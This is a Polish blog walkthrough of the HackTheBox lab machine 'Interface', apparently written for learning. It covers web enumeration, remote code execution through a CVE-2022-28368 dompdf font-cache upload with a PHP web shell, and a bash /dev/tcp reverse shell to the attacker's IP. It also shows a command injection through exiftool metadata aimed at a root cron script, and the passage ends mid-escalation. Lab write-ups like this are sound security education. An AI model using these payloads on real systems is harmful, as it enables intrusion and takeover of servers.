Blog | Ravr

[PL] HackTheBox - Interface

htb

May 17, 2023

HTB machine logo

Interface


HTB

Os
Linux
Trudność
Średnia
Premiera
February 11, 2023
Punkty
30

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Rekonesans

Nmap

Jak zawsze zaczynamy od przeskanowania maszyny narzędziem nmap. Znajduje on dwa otwarte porty:

  • 22 (SSH)
  • 80 (HTTP)
rvr@rvr$ nmap -p- 10.10.11.200 -oN nmap.initial-scan.out
[sudo] password for rvr: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-14 18:24 CEST
Nmap scan report for interface.htb (10.10.11.200)
Host is up (0.44s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 146.35 seconds

rvr@rvr$ nmap -sCV -p22,80 10.10.11.200
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-14 18:35 CEST
Nmap scan report for interface.htb (10.10.11.200)
Host is up (0.057s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
|   256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
|_  256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds

OpenSSH w wersji 7.6p1 nie posiada żadnych ciekawych podatności, które mogłyby się przydać w exploitacji. Skupmy się więc na porcie 80, gdzie kryje się serwer nginx.

TCP 80 (HTTP) - interface.htb

Strona wita nas frazą We’ll be back soon! i niestety nie zawiera wielu cennych informacji:

TCP 80 - strona glowna

Najechanie jednak myszka na contact us odsłania zaszytego maila [email protected], który zawiera też nazwę hosta: interface.htb. Dodajemy więc nowy rekord 10.10.11.200 interface.htb do pliku /etc/hosts, by móc odwołać się do maszyny właśnie po tej nazwie.

TCP 80 - strona glowna - mail

Zajrzyjmy teraz do źródła strony. Widzimy sporą liczbę skryptów oraz wskazówkę, że strona została zbudowana przy pomocy nextjs - frameworka opartego o javascript. Na tę chwilę jednak informacja ta niewiele wnosi.

TCP 80 - strona glowna - zrodlo

Czas na nagłówki HTTP. Do ich podejrzenia wykorzystamy burpa. Moglibyśmy to zrobić również w przeglądarce wykrzystując narzędzia programisty, burp jest jednak wygodniejszy:

TCP 80 - naglowki http - podglad w burp

Od razu w oczy rzuca się nieznana dotąd subdomena http://prd.m.rendering-api.interface.htb wskazująca na pewnego rodzaju API. Dodajemy ją więc do pliku /etc/hosts. W nagłówkach widzimy rownież potwierdzenie wykorzystania frameworka Next.js (X-Powered-By: Next.js).

TCP 80 (HTTP) - prd.m.rendering-api.interface.htb

Strona główna nowo znalezionej domeny jest dosyć uboga:

TCP 80 - prd.m.rendering-api.interface.htb - strona glowna

Nagłówki HTTP również nie pokazują niczego, o czym jeszcze nie wiemy:

TCP 80 - prd.m.rendering-api.interface.htb -  burp

Gobuster

W takiej sytuacji nie mamy dużego wyboru - wykorzystamy narzędzia, które metodą siłową pomogą nam znaleźć zasoby ukryte na serwerze. Zaczniemy od użycia narzędzia gobuster, by pokazać jak ważny jest jego odpowiedni tuning i że nie zawsze, prostsza obsługa narzędzia oznacza, że jest ono lepsze. Należy o tym pamiętać, by w przyszłości nie przeoczyć ważnych informacji.

Ale do rzeczy! Uruchommy gobustera podając najpierw tylko wymagane parametry: url i słownik potencjalnych zasobów. Z moich obserwacji wynika, że gobuster najczęściej uruchamiany jest właśnie w ten sposób. Jak się za chwilę okaże, nie zawsze jest to słuszne podejście.

rvr@rvr$ gobuster dir -u http://prd.m.rendering-api.interface.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/16 19:58:32 Starting gobuster in directory enumeration mode
===============================================================
/.                    (Status: 403) [Size: 15]
/vendor               (Status: 403) [Size: 15]
                                        
===============================================================
2023/05/16 20:03:23 Finished
===============================================================

Jak widać, znalazł on tylko jedną poprawną ścieżkę z podanego słownika: /vendor. Moglibyśmy więc uznać, że tylko ona istnieje i bruteforcować dalej inne zasoby (np. podścieżki w /vendor lub subdomeny) albo po prostu wykorzystać inny słownik.

Zamiast tego jednak, spróbujmy lekko zmodyfikować parametry gobustera, wpływając na właściwość negative status code (domyślną wartością jest 404). Naszym celem jest zmuszenie gobustera do przechwytywania odpowiedzi o każdym kodzie, a nie pomijanie tych z 404. By tego dokonać musimy zastosować pewne obejście - wykorzystać niepoprawną względem RFC 9110 wartość kodu odpowiedzi, np. 0 (-b 0). Dzięki temu, gobuster uwzględni wszystkie te o poprawnych kodach, a pominie wyłącznie te o kodzie 0, których, jak zakładamy, w ogóle nie powinno być (ponownie przez brak zgodności z RFC 9110). Niestety nie udało mi zmusić gobustera do działania w bardziej sensowny sposób, np. wyłączając kompletnie negative status code jakimś przełącznikiem. Według mojej wiedzy nie posiada on w ogóle takiej opcji.

W odpowiedzi jednak widzimy taki komunikat:

Error: the server returns a status code that matches the provided options for non existing urls. http://prd.m.rendering-api.interface.htb/ca84006a-80bf-4f65-a812-2cba04e0bb61 => 404 (Length: 0). To continue please exclude the status code or the length

Zgodnie z jego treścią, pomijamy wszystkie odpowiedzi serwera o rozmiarze 0 (--exclude-length 0), gdyż nie zawierają one żadnych przydatnych informacji (w końcu ich rozmiar to 0):

rvr@rvr$ gobuster dir -u http://prd.m.rendering-api.interface.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt --exclude-length 0 -b 0
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   0
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/16 20:38:55 Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 404) [Size: 50]
/.                    (Status: 403) [Size: 15]
/vendor               (Status: 403) [Size: 15]

Od razu lepiej! Pojawiła się nowa sciężka: /api. Przyjrzyjmy się więc temu, co dokładnie dostajemy:

rvr@rvr$ curl -i http://prd.m.rendering-api.interface.htb/api
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 16 May 2023 20:41:58 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

{"status":"404","status_text":"route not defined"}

Route not defined oznacza, że sama scieżka /api istnieje, musimy być tylko bardziej precyzyjni i wskazać konkretny “route” tegoż api - jaka to ścieżka, przekonamy się za chwilę. Wróćmy jednak do naszego rozważania o narzędziach do bruteforcingu zasobów.

Ffuf

To wszystko moglibyśmy osiągnąć dużo łatwiej, wykorzystując narzędzie ffuf. Co prawda z reguły wymaga on podania nieco większej liczby parametrów startowych w stosunku do domyślnych ustawień gobustera, lecz to oznacza jednocześnie większą kontrolę nad tym, co i jak szukamy - dzięki temu dużo trudniej jest coś przeoczyć.

Musimy pamiętać tylko, by zawsze określić, że interesują nas wszystkie odpowiedzi serwera, niezależnie od tego jaki kod zwrócą (-mc all). Jest to bardziej logiczne podejście niż to prezentowane przez gobustera, gdzie musimy stosować różne dziwaczne tricki (takie jak pomijanie odpowiedzi o niepoprawnym kodzie). Ponownie, tak jak w przypadku gobustera, wskazujemy też filtr niechcianych odpowiedzi, jednak robimy to w bardziej intuicyjny sposób. Ustalamy go na bieżąco, uruchamiając ffuf najpierw bez niego i gdy zostaniemy dosłownie “zalani” liczbą zwracanych informacji, wybieramy co chcemy pominąć, np. wszystkie odpowiedzi o rozmiarze 0 (-fs 0) lub wszystkie odpowiedzi z liczbą słów równą 3 (-fw 3), itd. Istotne jest tu również podanie frazy FUZZ, która wskazuje ffufowi miejsce do zastąpienia wartościami ze słownika.

Mimo że brzmi to skomplikowanie, tak naprawdę wcale takie nie jest - musimy pamiętać jedynie o -mc all, o reszcie poinformuje nas ffuf. Gdy zapomnimy o słowie FUZZ, zobaczymy stosowną informację. Gdy filtr będzie zły, liczba otrzymanych odpowiedzi będzie tak duża, że też się szybko zorientujemy.

Faktem jest również to, że maszyna Interface została celowo przygotowana tak, by uwzględnić ten specyficzny przypadek. Zazwyczaj 404 to przecież w rzeczywistości not found, a więc logicznym jest, że chcemy taką odpowiedź pomijać.

rvr@rvr$ ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -mc all -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://prd.m.rendering-api.interface.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 0
________________________________________________

api                     [Status: 404, Size: 50, Words: 3, Lines: 1, Duration: 57ms]
.                       [Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 59ms]
vendor                  [Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 62ms]
:: Progress: [43003/43003] :: Job [1/1] :: 661 req/sec :: Duration: [0:01:08] :: Errors: 0 ::

Szybko znajdujemy więc interesujące nas ścieżki /vendor i /api.

Bruteforcujemy dalej. Vendor brzmi jak katalog, w którym znajdują się zewnętrzne biblioteki, zacznijmy więc od api. Pamiętajmy również, że w typowych żądaniach do API istotna jest również metoda HTTP, musimy to uwzględniać podczas dalszej pracy ffufa.

Ffuf dla metody GET nie znalazł nic, ale dla POST już tak:

rvr@rvr$ ffuf -u http://prd.m.rendering-api.interface.htb/api/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -X POST -mc all -fs 50

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://prd.m.rendering-api.interface.htb/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 50
________________________________________________

html2pdf                [Status: 422, Size: 36, Words: 2, Lines: 1, Duration: 61ms]

Prześledźmy więc dokładną odpowiedź serwera:

curl -i -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 16 May 2023 20:46:09 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

{"status_text":"missing parameters"}

Widzimy missing parameters, a sama odpowiedź jest w formacie JSON. Najprawdopodobniej to ten format jest wymagany przez serwer, także podczas wysyłania parametrów w żadaniu POST. Poszukajmy jakiego parametru brakuje uwzględniając składnię JSONa:

rvr@rvr$ ffuf -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -X POST --data '{"FUZZ":"*"}' -H 'Content-type: application/json' -mc all -fs 36

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://prd.m.rendering-api.interface.htb/api/html2pdf
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"FUZZ":"*"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 36
________________________________________________

html                    [Status: 200, Size: 1128, Words: 116, Lines: 77, Duration: 63ms]

Ffuf odkrył parametr html. Wyślijmy zatem żądanie POST podając dowolny, ale poprawny kod html. W odpowiedzi dostajemy dokument pdf:

TCP 80 - prd.m.rendering-api.interface.htb/api/html2pdf -  POST

Po zapisaniu go na dysku, uruchamiamy exiftoola by poznać jego metadane:

rvr@rvr$ curl -X POST --data-binary '{"html": "<h1>Test</h1>"}' http://prd.m.rendering-api.interface.htb/api/html2pdf -o output.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1154  100  1129  100    25   8751    193 --:--:-- --:--:-- --:--:--  9015

rvr@rvr$ exiftool output.pdf
ExifTool Version Number         : 12.16
File Name                       : output.pdf
Directory                       : .
File Size                       : 1129 bytes
File Modification Date/Time     : 2023:05:16 22:37:16+02:00
File Access Date/Time           : 2023:05:16 22:37:16+02:00
File Inode Change Date/Time     : 2023:05:16 22:37:16+02:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : dompdf 1.2.0 + CPDF
Create Date                     : 2023:05:16 20:37:33+00:00
Modify Date                     : 2023:05:16 20:37:33+00:0

W oczy rzuca się Producer: dompdf 1.2.0 + CPDF - jest to, jak nie trudno sie domyślić, biblioteka konwertujaca kod html na pdf.

Googlujac jej podatności, szybko znajdujemy CVE-2022-28368, a w nim link do bloga. Podatność jest typu RCE, więc z naszego punktu widzenia, lepiej być nie może.

CVE-2022-28368

Blog dosyć dokładnie opisuje, co musimy zrobić by uzyskać zdalne wykonanie kodu.

Krok 1

Po pierwsze, dompdf musi mieć ustawioną flagę $isRemoteEnabled, która zezwala na wczytanie zewnętrznych czcionek. Możemy to sprawdzić wysyłając do konwersji kod html zawierający <link rel=stylesheet href=http://10.10.14.60/myfont.css>, gdzie 10.10.14.60 to nasz adres ip. Jeśli serwer nawiąże z nim połączenie prosząc o plik myfont.css, będzie to oznaczać, że flaga $isRemoteEnabled jest ustawiona na true. Zatem, w jednym oknie terminala nasłuchujemy na połączenia na porcie 80: sudo nc -lvnp 80, a w drugim wysyłamy żądanie:

rvr@rvr$ curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"html": "<link rel=stylesheet href=http://10.10.14.60/myfont.css>" }' http://prd.m.rendering-api.interface.htb/api/html2pdf

Po chwili, w pierwszym oknie terminala widzimy połączenie z prośbą o zasób myfont.css. Potwierdza to, że flaga $isRemoteEnabled jest włączona:

rvr@rvr$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.200] 38262
GET /myfont.css HTTP/1.0
Host: 10.10.14.60
Connection: close

Krok 2

Tworzymy plik css customfont.css zawierający następującą regułę:

@font-face {
   font-family:'customfont';
   src:url('http://10.10.14.60/customfont.php');
   font-weight:'normal';
   font-style:'normal';
 }

Gdy teraz dompdf wyczyta taki plik, pobierze zewnętrzną czcionkę (w tym przypadku customfont.php) i zapisze ją w cachu pod ścieżką: /vendor/dompdf/dompdf/lib/fonts/. Jej nazwa jest także przewidywalna i składa się z:

  • nazwy czcionki - u nas customfont,
  • wartości parametru font-weight - u nas normal,
  • wartości funkcji skrótu md5 z urla, pod którym znajduje się czcionka, u nas:
rvr@rvr$ echo -n http://10.10.14.60/customfont.php | md5sum
24db1b873981d11bfa88372ccfb9d6cf  -

Dla przykładu wyżej, pełna scieżka pod którą zostanie zapisana czcionka to: /vendor/dompdf/dompdf/lib/fonts/customfont_normal_24db1b873981d11bfa88372ccfb9d6cf.php

Krok 3

Tworzymy plik customfont.php, w którym umieszczamy złośliwy kod php. Plik ten musi mieć specjalną zawartość, gdyż biblioteka dompdf posiada pewne mechanizmy sprawdzające z jakim plikiem ma do czynienia, ale według autorów bloga, bazuje tylko na nagłówkach pliku. Nawet rozszerzenie nia ma tu znaczenia. Stąd, jeśli w takim pliku z czcionką umieścimy dodatkowy kod php, wewnętrzny walidator przepuści go bez blędów, a zawarty w nim kod php zostanie wykonany.

Do tego celu najlepiej wykorzystać gotowy plik (exploit_font.php) z repozytorium podlinkowanym na wspomnianym wcześniej blogu. Na jego końcu umieszczamy web shell php. Pełna zawartość pliku jest mało czytalna ze względu na obecność znaków nie mających swojej reprezentacji w kodzie ascii. Możemy go zobaczyć niżej:

dompdf - rce

Krok 4

Wystawiamy serwer http serwujący potrzebne pliki:

rvr@rvr$ ls 
customfont.css  customfont.php

rvr@rvr$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Krok 5

Wreszcie, wysyłamy żadanie api:

rvr@rvr$ curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"html": "<link rel=stylesheet href=http://10.10.14.60/customfont.css>" }' http://prd.m.rendering-api.interface.htb/api/html2pdf

W konsoli widzimy:

10.10.11.200 - - [17/May/2023 00:48:22] "GET /customfont.css HTTP/1.0" 200 -
10.10.11.200 - - [17/May/2023 00:48:22] "GET /customfont.php HTTP/1.0" 200 -

Jeśli teraz odwołamy się do zasobu /vendor/dompdf/dompdf/lib/fonts/customfont_normal_24db1b873981d11bfa88372ccfb9d6cf.php otrzymamy zdalne wykonanie kodu:

rvr@rvr$ curl -i -s -k -X 'POST' --data-binary 'cmd=id' http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/customfont_normal_24db1b873981d11bfa88372ccfb9d6cf.php -o-| tail -n1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

By uzyskać pełny reserse shell podajemy bash -i >& /dev/tcp/10.10.14.60/9999 0>&1 w parametrze cmd, pamiętając o kodowaniu url. Jednocześnie nasłuchujemy na porcie 9999 (nc -lvnp 9999) i czekamy na połączenie zwrotne:

rvr@rvr$ curl -i -s -k -X 'POST' --data-binary 'cmd=bash -c "bash -i+>%26+/dev/tcp/10.10.14.60/9999+0>%261"' http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/customfont_normal_24db1b873981d11bfa88372ccfb9d6cf.php

Voilà! Mamy dostęp do shella jako www-data:

rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.200] 36006
bash: cannot set terminal process group (1224): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Co ciekawe, uprawnienia pozwalają nam odczytać flagę z katalogu domowego użytkownika dev:

www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ cd /home/dev/
www-data@interface:/home/dev$ cd /home/dev/
www-data@interface:/home/dev$ ls -la
total 32
drwxr-xr-x 4 dev  dev  4096 Jan 16 09:49 .
drwxr-xr-x 3 root root 4096 Jan 16 09:49 ..
lrwxrwxrwx 1 root root    9 Jan 10 12:56 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan 10 12:55 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan 10 12:55 .bashrc
drwx------ 2 dev  dev  4096 Jan 16 09:49 .cache
drwx------ 3 dev  dev  4096 Jan 16 09:49 .gnupg
-rw-r--r-- 1 dev  dev   807 Jan 10 12:55 .profile
-rw-r--r-- 1 root dev    33 May 17 04:13 user.txt
www-data@interface:/home/dev$ cat user.txt 
b4f6a49*************************

Shell jako root

Enumeracja

Enumeracja systemu plików, procesów, popularnych folderów (jak /opt czy katalog domowy), zadań crona nie pokazała niczego, co może się przydać przy eskalacji uprawnień:

www-data@interface:/home/dev$ ps aux --forest
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    04:12   0:00 [kthreadd]

root        568  0.0  0.3  47236  6196 ?        Ss   04:12   0:01 /lib/systemd/systemd-udevd
...[snip]...
www-data   1249  0.0  2.0 764860 41376 ?        Ssl  04:12   0:00 npm
www-data   1685  0.0  0.0   4640   888 ?        S    04:12   0:00  \_ sh -c next start --hostname 127.0.0.1
www-data   1686  0.1  4.6 11412664 94412 ?      Sl   04:12   0:55      \_ node /var/www/starting-page/blog/node_modules/.bin/next start --hostname 127.0.0.1
root       1250  0.0  0.8 169524 17428 ?        Ssl  04:12   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       1259  0.0  0.1  30032  3256 ?        Ss   04:12   0:00 /usr/sbin/cron -f
root       1262  0.0  0.3 286240  6760 ?        Ssl  04:12   0:01 /usr/lib/accountsservice/accounts-daemon
root       1264  0.0  1.0 322720 21076 ?        Ss   04:12   0:03 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
www-data  19937  0.0  1.0 325212 20640 ?        S    08:11   0:03  \_ php-fpm: pool www
www-data  22055  0.0  0.0   4636   880 ?        S    13:04   0:00  |   \_ sh -c bash -c 'bash -i >& /dev/tcp/10.10.14.60/9999 0>&1'
www-data  22056  0.0  0.1  18384  3028 ?        S    13:04   0:00  |       \_ bash -c bash -i >& /dev/tcp/10.10.14.60/9999 0>&1
www-data  22057  0.0  0.1  18516  3460 ?        S    13:04   0:00  |           \_ bash -i
www-data  22069  0.0  0.4  37296  9320 ?        S    13:05   0:00  |               \_ python3 -c import pty;pty.spawn("/bin/bash")
www-data  22070  0.0  0.1  18516  3484 pts/0    Ss   13:05   0:00  |                   \_ /bin/bash
www-data  22381  0.0  0.1  37020  3512 pts/0    R+   13:42   0:00  |                       \_ ps aux --forest
www-data  19942  0.0  1.0 325212 20840 ?        S    08:13   0:01  \_ php-fpm: pool www
www-data  19943  0.0  1.0 325212 21120 ?        S    08:13   0:00  \_ php-fpm: pool www
root       1266  0.0  0.1 235600  2132 ?        Ssl  04:12   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root       1270  0.0  0.2  62012  5376 ?        Ss   04:12   0:00 /lib/systemd/systemd-logind
daemon     1298  0.0  0.1  28336  2432 ?        Ss   04:12   0:00 /usr/sbin/atd -f
root       1312  0.0  0.1 110552  2112 ?        Ssl  04:12   0:02 /usr/sbin/irqbalance --foreground
root       1332  0.0  0.3  72304  6352 ?        Ss   04:12   0:00 /usr/sbin/sshd -D
root       1362  0.0  0.0  14896  1972 tty1     Ss+  04:12   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       1380  0.0  0.3 288884  6524 ?        Ssl  04:12   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       1455  0.0  0.0 142884  1584 ?        Ss   04:12   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data   1456  0.0  0.3 145332  7548 ?        S    04:12   0:08  \_ nginx: worker process
www-data   1457  0.0  0.3 145552  7548 ?        S    04:12   0:22  \_ nginx: worker process
...[snip]..
www-data@interface:/home/dev$ crontab -l
no crontab for www-data
www-data@interface:/home/dev$ ls -la /opt/
total 8
drwxr-xr-x  2 root root 4096 Feb  8 12:48 .
drwxr-xr-x 24 root root 4096 Jan 16 09:49 ..

W takiej sytuacji moglibyśmy uruchomić skrypt linpeas.sh, który dokładniej zbada system w poszukiwaniu wartościowych, z punktu widzenia eskalacji uprawnień, informacji. Drugim narzędziem jest pspy, który daje możliwość “podsłuchiwania” bez uprawnień roota procesów uruchamianych przez innych użytkowników. Wykorzystajmy ten drugi, gdyż zwraca mniej informacji, a to pozwoli nam szybciej znaleźć tzw. nisko wiszące owoce (ang. low hanging fruits).

Pspy

Przesyłamy go do hackowanej maszyny i uruchamiamy:

www-data@interface:/dev/shm$ wget http://10.10.14.60/pspy64
--2023-05-17 01:12:19--  http://10.10.14.60/pspy64
Connecting to 10.10.14.60:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                     100%[=====================================================================================>]   2.96M   794KB/s    in 3.9s    

2023-05-17 01:12:23 (780 KB/s) - 'pspy64' saved [3104768/3104768]

www-data@interface:/dev/shm$ chmod +x pspy64 
www-data@interface:/dev/shm$ ./pspy64 

Po kilku chwilach zauważamy, że cron dla użytkownika root (uid=0) uruchamia skrypt /usr/local/sbin/cleancache.sh

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/05/17 01:13:39 CMD: UID=33    PID=23022  | ./pspy64
...[snip]...
2023/05/17 01:13:39 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity
2023/05/17 01:14:01 CMD: UID=0     PID=23033  | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/17 01:14:01 CMD: UID=0     PID=23032  | /bin/sh -c /usr/local/sbin/cleancache.sh
2023/05/17 01:14:01 CMD: UID=0     PID=23031  | /usr/sbin/CRON -f

Zobaczmy więc co przed nami skrywa:

www-data@interface:/dev/shm$ ls -la /usr/local/sbin/cleancache.sh 
-rwxr-xr-x 1 root root 346 Feb  8 12:57 /usr/local/sbin/cleancache.sh

www-data@interface:/dev/shm$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

Po pierwsze widzimy, że choć możemy czytać jego zawartość i go wykonywać, to niestety modyfikować już nie - odpada zatem możliwość dopisania czegoś “złośliwego” (np. reverse shella), który zostanie uruchomiony jako root przy następnej turze crona.

Po drugie, skrypt ma tylko kilkanaście linii i nie zawiera skomplikowanej logiki. Na pierwszy rzut oka ciężko dopatrzeć się tu podatności. Ot, po prostu dla każdego pliku z katalogu /tmp skrypt wyciąga metadaną producer i jeśli jej wartość jest równa dompdf, usuwa ten plik.

Gdzie jest więc podatność? W linii 9, tj. if [[ "$meta_producer" -eq "dompdf" ]];. Okazuje się, że ta konstrukcja wymusza w bashu tzw. arithmetic context. Całkiem dobry opis możemy przeczytać pod tym linkiem, a najważniejszy fragment to:

The shell evaluates values in an arithmetic context in several syntax constructs where the shell expects an integer. This includes: $((here)), ((here)), ${var:here:here}, ${var[here]}, var[here]=.. and on either side of any [[ numerical comparator like -eq, -gt, -le and friends.

W skrócie, bash napotykając na konstrukcję typu [[ "$variable" -eq "test" ]] oczekuje zmiennych bedących integerami, a gdy takich nie otrzymuje, dokonuje ich “evaluacji” by umieć je porównać. Wszystko zdaje się działać poprawnie, gdy porównywane zmienne sa “bezpiecznego” typu, jak integer czy string. Ale co jeśli zmienną $variable będzie konstrukcja bardziej dynamiczna, jak np. arr[$(id>/tmp/pwnd)]? Okazuje się, że również zostanie wykonana zapisując wartość komendy id do pliku /tmp/pwnd!

Odnieśmy teraz te rozważania do naszego skryptu: ponieważ możemy utworzyć dowolny plik w katalogu /tmp i nadać mu metadaną producer, to tym samym kontrolujemy zależną od niej zmienną $meta_producer. Zmienna ta używana jest w opisywanej przed chwilą niebezpiecznej konstrukcji basha. Potwierdźmy więc w praktyce to, czego przed chwilą się dowiedziliśmy:

www-data@interface:/dev/shm$ touch /tmp/test
www-data@interface:/dev/shm$ exiftool -Producer='arr[$(id>/tmp/pwnd)]' /tmp/test

